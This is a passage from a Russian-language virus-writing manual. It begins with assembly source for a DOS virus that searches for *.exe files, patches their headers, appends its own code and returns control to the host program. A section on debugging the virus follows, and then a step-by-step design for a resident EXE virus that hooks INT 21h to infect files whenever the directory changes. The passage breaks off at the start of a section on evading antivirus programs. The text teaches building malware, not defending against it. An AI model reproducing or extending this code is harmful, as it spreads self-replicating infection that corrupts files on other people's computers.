lea dx,header ;раз занимает 27
int 21h ;байт...
jnc next_step ;
jmp restore_dta ;Ошибка чтения !
next_step: mov ax,word ptr header[14h]
mov old_ip,ax
mov ax,word ptr header[16h]
mov old_cs,ax
mov ax,word ptr header[0eh]
mov old_ss,ax
mov ax,word ptr header[10h]
mov old_sp,ax
mov ax,word ptr header[04h]
mov cl,5
shl ax,cl
cmp ax,0f000h
jna good_size
jmp find_next
good_size: mov bp,ax
sub ax,word ptr header[08h]
mov to_16h,ax ;Это число запи-
;шется в Header
;[16h]
mov ax,bp
xor dx,dx
call mover
mov f_seek_low,ax
mov f_seek_high,dx
cmp dx,word ptr [new_dta + 01ch]
jl to_next
ja infect
cmp ax,word ptr [new_dta + 01ah]
jl to_next
infect: add ax,vir_len
adc dx,0
mov bx,512
div bx
cmp dx,0
je round
inc ax
round: mov to_04h,ax ;Это число запи-
;шется в Header
;[04h]
mov to_02h,dx
mov word ptr header[02h],dx
mov ax,to_04h
mov word ptr header[04h],ax
mov word ptr header[14h],0
mov ax,to_16h
mov word ptr header[16h],ax
mov word ptr header[0eh],ax
mov word ptr header[10h],offset ds:new_stack + 96
mov sub_ds,10h
xor dx,dx ;Устанавливаем
xor cx,cx ;указатель на
call setpointer ;начало файла
jc close_file ;
lea dx,header ;И записываем
mov cx,27 ;измененный за-
call write ;головок на диск
jc close_file
mov dx,f_seek_low ;Устанавливаем
mov cx,f_seek_high ;указатель на
call setpointer ;определенное
;ранее место в
;файле
jc close_file
lea dx,vir ;И записываем на
mov cx,vir_len ;диск вирусный
call write ;код
close_file:xor ax,ax ;Закроем зара-
mov ah,3eh ;женный файл
mov bx,descrypt ;
int 21h ;
restore_dta:
push ds ;DS -> в стек
mov ah,1ah ;Восстановим
mov dx,080h ;адрес DTA зара-
mov bp,es ;женной програм-
mov ds,bp ;мы с помощью
int 21h ;функции DOS 1Ah
pop ds ;DS <- из стека
mov ax,my_ip
mov old_ip,ax
mov ax,my_cs
mov old_cs,ax
mov ax,my_16h
mov to_16h,ax
mov ax,my_sp
mov sp,ax ;Инициализируем
;регистр SP ...
mov ax,cs ;Найдем
sub ax,to_16h ;NS0 + 10h ...
add my_ss,ax ;Вычислим SS ...
mov ss,my_ss ;
add ax,old_cs ;Вычислим CS ...
mov old_cs,ax ;
mov ax,es ;Инициализируем
mov ds,ax ;регистр DS ...
jmp $ + 2 ;Сбросим очередь
;процессора
db 0eah ;И перейдем к
old_ip dw 0 ;исполнению
old_cs dw 0 ;программы ...
;Procedure area ...
;*************************************************
setpointer proc ;Процедура уста-
mov ax,4200h ;навливает ука-
mov bx,descrypt ;затель в файле
int 21h ;на заданный
ret ;байт ...
setpointer endp
read proc ;Процедура чте-
mov ah,3fh ;ния из файла...
mov bx,descrypt
int 21h
ret
read endp
write proc ;Процедура за-
mov ah,40h ;писи в файл ...
mov bx,descrypt
int 21h
ret
write endp
mover proc ;Процедура умно-
mov cx,04h ;жения двойного
left: shl dx,1 ;слова CX : DX
shl ax,1 ;на 16 методом
adc dx,00h ;сдвига ...
loop left ;
ret ;
mover endp
;Data area ...
;*************************************************
;Собственная DTA
;вируса
new_dta db 128 dup (0)
;Маска для поис-
;ка файла - жер-
;твы
maska db '*.exe',0
;Буфер для хра-
;нения имени
;найденного
;файла
fn db 12 dup (' '),0
;Массив для хра-
;нения заголовка
header db 27 dup ( 0 )
descrypt dw 0 ;Ячейка для дес-
;криптора
to_02h dw 0 ;Эти ячейки ис-
to_04h dw 0 ;пользуются для
to_16h dw 0 ;хранения пара-
my_ip dw 0 ;метров заголо-
my_cs dw 0 ;вка заражаемой
my_16h dw 0 ;программы и
my_ss dw 0 ;той, из которой
my_sp dw 0 ;стартовал
old_ss dw 0 ;вирус
old_sp dw 0 ;
f_seek_low dw 0 ;В эти перемен-
f_seek_high dw 0 ;нные записывае-
;тся значение
;указателя
;Вирусный стек
new_stack dw 50 dup ( 0 )
last db 0 ;Сюда помещается
;последний байт
;заражаемого
;файла
db '7' ;Последний байт
;вирусного кода
;Длина вирусного
;кода в байтах
vir_len equ $-vir
prg ends
end vir
1.17 Несколько слов об испытании вируса
В принципе,процесс испытания созданного вируса ни-
чем не отличается от ранее рассмотренного .Обращаю
внимание читателей только на одну деталь :
Отладчик AFD_RUS .COM корректно работает только с
неупакованными EXE - файлами.Если вы попытаетесь с
его помощью отладить EXE - программу, упакованную
какой - либо утилитой сжатия ( например, DIET, LZ_
EXE или PKLITE ), то из этого ничего не получится.
Конечно, программа не испортится,но результаты ра-
боты отладчика будут неверными .Для отладки упако-
ванных программ можно воспользоваться TURBO DEBUG-
GER фирмы BORLAND INTERNATIONAL, но еще лучше рас-
паковать такую программу и применить отладчик по-
проще.
*
Если в программе есть команды,изменяющие SS и SP,
то при " прохождении " ее AFD_RUS.COM результаты
работы отладчика могут быть совершенно неожидан-
ными. Это происходит потому, что указанный отлад-
чик использует стек исследуемой им программы.
**
Все только что отмеченные недостатки AFD_шки ни в
коей мере не дают сделать вывод,что этот отладчик
плохой. Hаоборот,он во многих отношениях значите-
льно превосходит даже TURBO DEBUGGER. Возможнос-
тей AFD_RUS вполне достаточно при отладке пример-
но 95 % программ.
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА
2.1 Алгоритм работы резидентного
EXE - вируса
Для начала рассмотрим алгоритм работы резидентного
вируса, заражающего EXE - файлы .Он очень похож на
соответствующий алгоритм для COM - вируса, поэтому
подробно рассматриваться не будет :
Секция инициализации выполняет следующие действия:
1. Получает управление при запуске зараженной про-
граммы .
2. Проверяет, установлена ли в память резидентная
часть вируса .
3. Если резидентная часть не установлена,выполняю-
тся следующие действия :
a.) Отыскивается свободный блок памяти достато-
чного для размещения вируса размера .
б.) Код вируса копируется в найденный блок па-
мяти .
в.) В таблице векторов прерываний соответству-
ющие вектора заменяются точками входа в ви-
русные обработчики .
г.) Определяются значения CS, IP, SS и SP,необ-
ходимые для правильной работы программы ,
из которой стартовал вирус .
д.) Управление передается зараженной программе.
Для этого вирус использует команду безусло-
вного дальнего перехода или возврата из да-
льней процедуры.Адрес перехода задается вы-
численными CS и IP. После этого начинается
обычное выполнение программы .
В том случае, если резидентная часть вируса уже
находится в памяти, он просто выполняет действия
перечисленные в п.п. " Г " и " Д " .
Резидентная часть работает по такому " сценарию ":
1. Анализирует все вызовы системного прерывания
INT 21h с целью выявить переход оператора в новый
каталог или смену текущего диска .
2. Если обнаружится смена текущего диска или ката-
лога, резидентная часть должна :
а.) Сохранить исходное состояние вычислительной
системы .
б.) Найти на диске подходящий EXE - файл .
в.) Записать вирусный код в конец этого файла .
г.) Скорректировать заголовок файла ( см. п.1.4
гл. 1 ч. 2 ) .
д.) Восстановить исходное состояние вычислите-
льной системы и передать ей управление .
Как и в случае с COM - вирусом, заражение файлов
выполняет только резидентная часть .Вредные дейст-
вия можно " возложить " как на резидентную, так и
на транзитную часть ( на транзитную - проще, а на
резидентную - обычно сложнее . ) .
2.2 Защита от программ - антивирусов
Честно говоря, эта глава просто является обобщени-
ем всех предыдущих . Поэтому все основное уже рас-